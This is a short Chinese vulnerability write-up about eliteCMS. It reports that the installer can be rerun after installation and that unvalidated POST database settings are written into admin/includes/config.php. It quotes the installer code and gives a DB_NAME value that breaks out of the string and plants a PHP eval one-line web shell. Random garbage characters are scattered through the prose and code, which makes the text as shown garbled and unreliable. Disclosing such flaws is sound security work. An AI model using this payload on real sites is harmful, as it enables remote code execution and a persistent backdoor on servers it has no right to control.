eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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7 F  D& I( Y/ q) H" J另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

...
elseif ($_GET['step'] == "4") {
6 z5 E9 D9 x( Y  e  {) B: \    $file = "../admin/includes/config.php";
5 \- D% X0 N$ x+ Y    $write = "<?php\n";
$ ?1 e. P$ H+ F! `% i7 a5 C    $write .= "/**\n";
    $write .= "*\n";
! p, j  r  g! t    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
9 S( s/ j" s0 }; n5 \    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
$ H1 d7 u) e" R5 Y! W/ A- X    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
% y- Q( y% v3 q% ]    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
1 b. B! W2 H4 j" V3 P, ?    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
6 i- S% y& J  j" w    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
1 h' f3 q1 c6 v" L) I    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
8 y& y9 k7 B/ T3 a% B8 Z+ F9 U    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
3 x& ?& ?0 p- Q1 E' Z- `" Q    $write .= "        \n";
    $write .= "} \n";
( ^- U8 f7 n; e6 T$ ?/ W    $write .= "?>\n";
% T$ T; q: Q* \4 K; J& b  S4 ?
8 f9 C6 J" i8 K    $writer = fopen($file, 'w');
...
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0 W9 Z* T4 o8 \3 \! k在看代码：
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$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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) ]1 Z7 T9 @  z) L& \取值未作任何验证
如果将数据库名POST数据：

: p1 z% F* x, _5 ~$ j"?><?php eval($_POST[c]);?><?php
4 J% M9 H; V. w: j
将导致一句话后门写入/admin/includes/config.php